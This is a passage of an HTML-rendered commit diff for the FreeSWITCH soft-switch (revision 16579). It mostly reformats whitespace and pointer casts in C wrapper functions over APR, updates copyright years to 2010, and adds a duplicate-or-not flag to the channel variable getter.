</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_tz(switch_time_exp_t *result, switch_time_t input, switch_int32_t offs)
</span><span class="cx"> {
</span><del>-        return apr_time_exp_tz((apr_time_exp_t *) result, input, (apr_int32_t )offs);
</del><ins>+        return apr_time_exp_tz((apr_time_exp_t *) result, input, (apr_int32_t) offs);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_gmt(switch_time_exp_t *result, switch_time_t input)
</span><span class="lines">@@ -364,7 +363,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* Thread condition locks */
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t **cond, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t ** cond, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_thread_cond_create(cond, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -402,7 +401,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* file i/o stubs */
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t **newf, const char *fname, int32_t flag, switch_fileperms_t perm,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t ** newf, const char *fname, int32_t flag, switch_fileperms_t perm,
</ins><span class="cx">                                                                                                  switch_memory_pool_t *pool)
</span><span class="cx"> {
</span><span class="cx">         return apr_file_open(newf, fname, flag, perm, pool);
</span><span class="lines">@@ -417,10 +416,7 @@
</span><span class="cx">         return rv;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path, 
-                                                                                                 const char *to_path,
-                                                                                                 switch_fileperms_t perms,
-                                                                                                 switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path, const char *to_path, switch_fileperms_t perms, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_file_copy(from_path, to_path, perms, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -471,7 +467,7 @@
</span><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t **thefile, char *templ, int32_t flags, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t ** thefile, char *templ, int32_t flags, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_file_mktemp(thefile, templ, flags, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -544,7 +540,7 @@
</span><span class="cx">         apr_finfo_t finfo;
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t **new_dir, const char *dirname, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t ** new_dir, const char *dirname, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_dir_t *dir = malloc(sizeof(*dir));
</span><span class="lines">@@ -606,7 +602,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* thread stubs */
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t **new_attr, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t ** new_attr, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_threadattr_create(new_attr, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -648,7 +644,7 @@
</span><span class="cx"> 
</span><span class="cx"> static char TT_KEY[] = &quot;1&quot;;
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t **new_thread, switch_threadattr_t *attr,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t ** new_thread, switch_threadattr_t *attr,
</ins><span class="cx">                                                                                                          switch_thread_start_t func, void *data, switch_memory_pool_t *cont)
</span><span class="cx"> {
</span><span class="cx">         switch_core_memory_pool_set_data(cont, &quot;_in_thread&quot;, TT_KEY);
</span><span class="lines">@@ -657,12 +653,12 @@
</span><span class="cx"> 
</span><span class="cx"> /* socket stubs */
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t **sa, switch_bool_t remote, switch_socket_t *sock)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t ** sa, switch_bool_t remote, switch_socket_t *sock)
</ins><span class="cx"> {
</span><span class="cx">         return apr_socket_addr_get(sa, remote, sock);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t **new_sock, int family, int type, int protocol, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t ** new_sock, int family, int type, int protocol, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_socket_create(new_sock, family, type, protocol, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -687,7 +683,7 @@
</span><span class="cx">         return apr_socket_listen(sock, backlog);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t **new_sock, switch_socket_t *sock, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t ** new_sock, switch_socket_t *sock, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_socket_accept(new_sock, sock, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -722,7 +718,8 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf, switch_size_t *len)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf,
+                                                                                                         switch_size_t *len)
</ins><span class="cx"> {
</span><span class="cx">         if (!where || !buf || !len || !*len) {
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -735,7 +732,7 @@
</span><span class="cx">         return apr_socket_recv(sock, buf, len);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t **sa, const char *hostname, int32_t family,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t ** sa, const char *hostname, int32_t family,
</ins><span class="cx">                                                                                                                  switch_port_t port, int32_t flags, switch_memory_pool_t *pool)
</span><span class="cx"> {
</span><span class="cx">         return apr_sockaddr_info_get(sa, hostname, family, port, flags, pool);
</span><span class="lines">@@ -779,7 +776,7 @@
</span><span class="cx">         if (!in) {
</span><span class="cx">                 return &quot;&quot;;
</span><span class="cx">         }
</span><del>-        return get_addr(buf, len, (struct sockaddr*)&amp;in-&gt;sa, in-&gt;salen);
</del><ins>+        return get_addr(buf, len, (struct sockaddr *) &amp;in-&gt;sa, in-&gt;salen);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(uint16_t) switch_sockaddr_get_port(switch_sockaddr_t *sa)
</span><span class="lines">@@ -817,7 +814,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* poll stubs */
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t **pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t ** pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags)
</ins><span class="cx"> {
</span><span class="cx">         return apr_pollset_create(pollset, size, p, flags);
</span><span class="cx"> }
</span><span class="lines">@@ -827,16 +824,16 @@
</span><span class="cx">         if (!pollset) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
-        return apr_pollset_add((apr_pollset_t *)pollset, (const apr_pollfd_t *)descriptor);
</del><ins>+
+        return apr_pollset_add((apr_pollset_t *) pollset, (const apr_pollfd_t *) descriptor);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_poll(switch_pollfd_t *aprset, int32_t numsock, int32_t *nsds, switch_interval_time_t timeout)
</span><span class="cx"> {
</span><span class="cx">         apr_status_t st = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (aprset) {
</span><del>-                st = apr_poll((apr_pollfd_t *)aprset, numsock, nsds, timeout);
</del><ins>+                st = apr_poll((apr_pollfd_t *) aprset, numsock, nsds, timeout);
</ins><span class="cx"> 
</span><span class="cx">                 if (st == APR_TIMEUP) {
</span><span class="cx">                         st = SWITCH_STATUS_TIMEOUT;
</span><span class="lines">@@ -846,7 +843,7 @@
</span><span class="cx">         return st;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t **poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t ** poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_pollset_t *pollset;
</span><span class="cx"> 
</span><span class="lines">@@ -885,8 +882,8 @@
</span><span class="cx">         apr_uuid_format(buffer, (const apr_uuid_t *) uuid);
</span><span class="cx"> #else
</span><span class="cx">         RPC_CSTR buf;
</span><del>-        UuidToString((const UUID*)uuid, &amp;buf);
-        strcpy(buffer, (const char*)buf);
</del><ins>+        UuidToString((const UUID *) uuid, &amp;buf);
+        strcpy(buffer, (const char *) buf);
</ins><span class="cx">         RpcStringFree(&amp;buf);
</span><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="lines">@@ -897,7 +894,7 @@
</span><span class="cx"> #ifndef WIN32
</span><span class="cx">         apr_uuid_get((apr_uuid_t *) uuid);
</span><span class="cx"> #else
</span><del>-        UuidCreate((UUID*)uuid);
</del><ins>+        UuidCreate((UUID *) uuid);
</ins><span class="cx"> #endif
</span><span class="cx">         switch_mutex_unlock(runtime.uuid_mutex);
</span><span class="cx"> }
</span><span class="lines">@@ -907,7 +904,7 @@
</span><span class="cx"> #ifndef WIN32
</span><span class="cx">         return apr_uuid_parse((apr_uuid_t *) uuid, uuid_str);
</span><span class="cx"> #else
</span><del>-        return UuidFromString((RPC_CSTR)uuid_str, (UUID*)uuid);
</del><ins>+        return UuidFromString((RPC_CSTR) uuid_str, (UUID *) uuid);
</ins><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -924,7 +921,7 @@
</span><span class="cx"> 
</span><span class="cx">         digest_str[SWITCH_MD5_DIGEST_STRING_SIZE - 1] = '\0';
</span><span class="cx"> 
</span><del>-        for( x = 0; x &lt; SWITCH_MD5_DIGESTSIZE; x++) {
</del><ins>+        for (x = 0; x &lt; SWITCH_MD5_DIGESTSIZE; x++) {
</ins><span class="cx">                 switch_snprintf(digest_str + (x * 2), 3, &quot;%02x&quot;, digest[x]);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -933,7 +930,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* FIFO queues (apr-util) */
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t **queue, unsigned int queue_capacity, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t ** queue, unsigned int queue_capacity, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_queue_create(queue, queue_capacity, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -1016,7 +1013,7 @@
</span><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t **result, switch_memory_pool_t *p)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t ** result, switch_memory_pool_t *p)
</ins><span class="cx"> {
</span><span class="cx">         return apr_match_glob(pattern, (apr_array_header_t **) result, p);
</span><span class="cx"> }
</span><span class="lines">@@ -1027,9 +1024,9 @@
</span><span class="cx">  * @param out The file descriptor to use as output from the pipe.
</span><span class="cx">  * @param pool The pool to operate on.
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t **in, switch_file_t **out, switch_memory_pool_t *p)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t ** in, switch_file_t ** out, switch_memory_pool_t *p)
</ins><span class="cx"> {
</span><del>-    return apr_file_pipe_create ((apr_file_t **) in, (apr_file_t **) out, p);
</del><ins>+        return apr_file_pipe_create((apr_file_t **) in, (apr_file_t **) out, p);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /**
</span><span class="lines">@@ -1039,7 +1036,7 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_file_pipe_timeout_get(switch_file_t *thepipe, switch_interval_time_t *timeout)
</span><span class="cx"> {
</span><del>-        return apr_file_pipe_timeout_get( (apr_file_t *)thepipe, (apr_interval_time_t *)timeout);
</del><ins>+        return apr_file_pipe_timeout_get((apr_file_t *) thepipe, (apr_interval_time_t *) timeout);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /**
</span><span class="lines">@@ -1050,7 +1047,7 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_file_pipe_timeout_set(switch_file_t *thepipe, switch_interval_time_t timeout)
</span><span class="cx"> {
</span><del>-        return apr_file_pipe_timeout_set( (apr_file_t *)thepipe, (apr_interval_time_t)timeout);
</del><ins>+        return apr_file_pipe_timeout_set((apr_file_t *) thepipe, (apr_interval_time_t) timeout);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1061,7 +1058,7 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_thread_exit(switch_thread_t *thd, switch_status_t retval)
</span><span class="cx"> {
</span><del>-        return apr_thread_exit((apr_thread_t *)thd, retval);
</del><ins>+        return apr_thread_exit((apr_thread_t *) thd, retval);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /**
</span><span class="lines">@@ -1071,7 +1068,7 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_thread_join(switch_status_t *retval, switch_thread_t *thd)
</span><span class="cx"> {
</span><del>-        return apr_thread_join((apr_status_t *)retval, (apr_thread_t *)thd); 
</del><ins>+        return apr_thread_join((apr_status_t *) retval, (apr_thread_t *) thd);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_bufferc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_buffer.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_buffer.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_buffer.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_callerc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_caller.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_caller.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_caller.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -50,7 +50,7 @@
</span><span class="cx">         switch_caller_profile_t *profile = NULL;
</span><span class="cx"> 
</span><span class="cx">         profile = switch_core_alloc(pool, sizeof(*profile));
</span><del>-        switch_assert(profile != NULL);        
</del><ins>+        switch_assert(profile != NULL);
</ins><span class="cx">         memset(profile, 0, sizeof(*profile));
</span><span class="cx"> 
</span><span class="cx">         if (!context) {
</span><span class="lines">@@ -218,28 +218,28 @@
</span><span class="cx">                 return switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER) ? &quot;true&quot; : &quot;false&quot;;
</span><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, &quot;profile_created_time&quot;)) {
</span><del>-                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;profile_created);                
</del><ins>+                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;profile_created);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, &quot;created_time&quot;)) {
</span><del>-                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;created);                
</del><ins>+                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;created);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, &quot;answered_time&quot;)) {
</span><del>-                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;answered);                
</del><ins>+                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;answered);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, &quot;progress_time&quot;)) {
</span><del>-                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;progress);                
</del><ins>+                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;progress);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, &quot;progress_media_time&quot;)) {
</span><del>-                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;progress_media);                
</del><ins>+                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;progress_media);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, &quot;hungup_time&quot;)) {
</span><del>-                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;hungup);                
</del><ins>+                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;hungup);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, &quot;transferred_time&quot;)) {
</span><del>-                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;transferred);                
</del><ins>+                return switch_core_sprintf(caller_profile-&gt;pool, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;transferred);
</ins><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -311,7 +311,7 @@
</span><span class="cx">                 switch_snprintf(header_name, sizeof(header_name), &quot;%s-Channel-Answered-Time&quot;, prefix);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;answered);
</span><span class="cx">                 switch_snprintf(header_name, sizeof(header_name), &quot;%s-Channel-Progress-Time&quot;, prefix);
</span><del>-                switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;progress);                
</del><ins>+                switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;progress);
</ins><span class="cx">                 switch_snprintf(header_name, sizeof(header_name), &quot;%s-Channel-Progress-Media-Time&quot;, prefix);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;progress_media);
</span><span class="cx">                 switch_snprintf(header_name, sizeof(header_name), &quot;%s-Channel-Hangup-Time&quot;, prefix);
</span><span class="lines">@@ -330,7 +330,7 @@
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, header_name, switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER) ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig,
</ins><span class="cx">                                                                                                                           switch_memory_pool_t *pool)
</span><span class="cx"> {
</span><span class="cx">         switch_caller_extension_t *caller_extension = NULL;
</span><span class="lines">@@ -341,10 +341,10 @@
</span><span class="cx">         if ((caller_extension = switch_core_alloc(pool, sizeof(switch_caller_extension_t))) != 0) {
</span><span class="cx">                 int match = 0;
</span><span class="cx"> 
</span><del>-        caller_extension-&gt;extension_name = switch_core_strdup(pool, orig-&gt;extension_name);
-        caller_extension-&gt;extension_number = switch_core_strdup(pool, orig-&gt;extension_number);
</del><ins>+                caller_extension-&gt;extension_name = switch_core_strdup(pool, orig-&gt;extension_name);
+                caller_extension-&gt;extension_number = switch_core_strdup(pool, orig-&gt;extension_number);
</ins><span class="cx"> 
</span><del>-                for(ap = orig-&gt;applications; ap; ap = ap-&gt;next) {
</del><ins>+                for (ap = orig-&gt;applications; ap; ap = ap-&gt;next) {
</ins><span class="cx"> 
</span><span class="cx">                         if (!match) {
</span><span class="cx">                                 if (ap == orig-&gt;current_application) {
</span><span class="lines">@@ -354,7 +354,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         caller_application = switch_core_alloc(pool, sizeof(switch_caller_application_t));
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         caller_application-&gt;application_name = switch_core_strdup(pool, ap-&gt;application_name);
</span><span class="cx">                         caller_application-&gt;application_data = switch_core_strdup(pool, ap-&gt;application_data);
</span><span class="cx"> 
</span><span class="lines">@@ -363,7 +363,7 @@
</span><span class="cx">                         } else if (caller_extension-&gt;last_application) {
</span><span class="cx">                                 caller_extension-&gt;last_application-&gt;next = caller_application;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         caller_extension-&gt;last_application = caller_application;
</span><span class="cx"> 
</span><span class="cx">                         if (ap == orig-&gt;current_application) {
</span><span class="lines">@@ -374,9 +374,9 @@
</span><span class="cx">                 *new_ext = caller_extension;
</span><span class="cx"> 
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><del>-    }
-        
</del><ins>+        }
</ins><span class="cx"> 
</span><ins>+
</ins><span class="cx">         return SWITCH_STATUS_MEMERR;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -396,18 +396,18 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_caller_extension_add_application_printf(switch_core_session_t *session,
</span><del>-                                                                                                                         switch_caller_extension_t *caller_extension, const char *application_name,
-                                                                                                                         const char *fmt, ...)
</del><ins>+                                                                                                                                        switch_caller_extension_t *caller_extension, const char *application_name,
+                                                                                                                                        const char *fmt, ...)
</ins><span class="cx"> {
</span><span class="cx">         va_list ap;
</span><span class="cx">         char *data = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         va_start(ap, fmt);
</span><span class="cx">         switch_vasprintf(&amp;data, fmt, ap);
</span><span class="cx">         va_end(ap);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (data) {
</span><del>-                switch_caller_extension_add_application(session, caller_extension, application_name, data);        
</del><ins>+                switch_caller_extension_add_application(session, caller_extension, application_name, data);
</ins><span class="cx">                 free(data);
</span><span class="cx">         }
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_channelc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_channel.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_channel.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_channel.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -173,7 +173,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_channel_audio_sync(switch_channel_t *channel) 
</del><ins>+SWITCH_DECLARE(void) switch_channel_audio_sync(switch_channel_t *channel)
</ins><span class="cx"> {
</span><span class="cx">         if (switch_channel_media_ready(channel)) {
</span><span class="cx">                 switch_core_session_message_t msg = { 0 };
</span><span class="lines">@@ -375,9 +375,9 @@
</span><span class="cx">                 *dtmf = *dt;
</span><span class="cx"> 
</span><span class="cx">                 if (switch_queue_trypush(channel-&gt;dtmf_log_queue, dt) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        free(dt);                        
</del><ins>+                        free(dt);
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 dt = NULL;
</span><span class="cx"> 
</span><span class="cx">                 if (dtmf-&gt;duration &gt; switch_core_max_dtmf_duration(0)) {
</span><span class="lines">@@ -497,7 +497,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;event_type&quot;, &quot;presence&quot;);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;alt_event_type&quot;, &quot;dialog&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (call_info) {
</span><span class="cx">                         char *call_info_state = &quot;active&quot;;
</span><span class="cx"> 
</span><span class="lines">@@ -528,7 +528,7 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(const char *) switch_channel_get_variable(switch_channel_t *channel, const char *varname)
</del><ins>+SWITCH_DECLARE(const char *) switch_channel_get_variable_dup(switch_channel_t *channel, const char *varname, switch_bool_t dup)
</ins><span class="cx"> {
</span><span class="cx">         const char *v = NULL, *r = NULL;
</span><span class="cx">         switch_assert(channel != NULL);
</span><span class="lines">@@ -552,8 +552,13 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (v) r = switch_core_session_strdup(channel-&gt;session, v);
-        
</del><ins>+        if (dup) {
+                if (v)
+                        r = switch_core_session_strdup(channel-&gt;session, v);
+        } else {
+                r = v;
+        }
+
</ins><span class="cx">         switch_mutex_unlock(channel-&gt;profile_mutex);
</span><span class="cx"> 
</span><span class="cx">         return r;
</span><span class="lines">@@ -564,7 +569,7 @@
</span><span class="cx">         const char *uuid;
</span><span class="cx">         const char *val = NULL, *r = NULL;
</span><span class="cx">         switch_assert(channel != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(varname)) {
</span><span class="cx">                 if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="cx">                         switch_core_session_t *session;
</span><span class="lines">@@ -576,7 +581,8 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (val) r = switch_core_session_strdup(channel-&gt;session, val);
</del><ins>+        if (val)
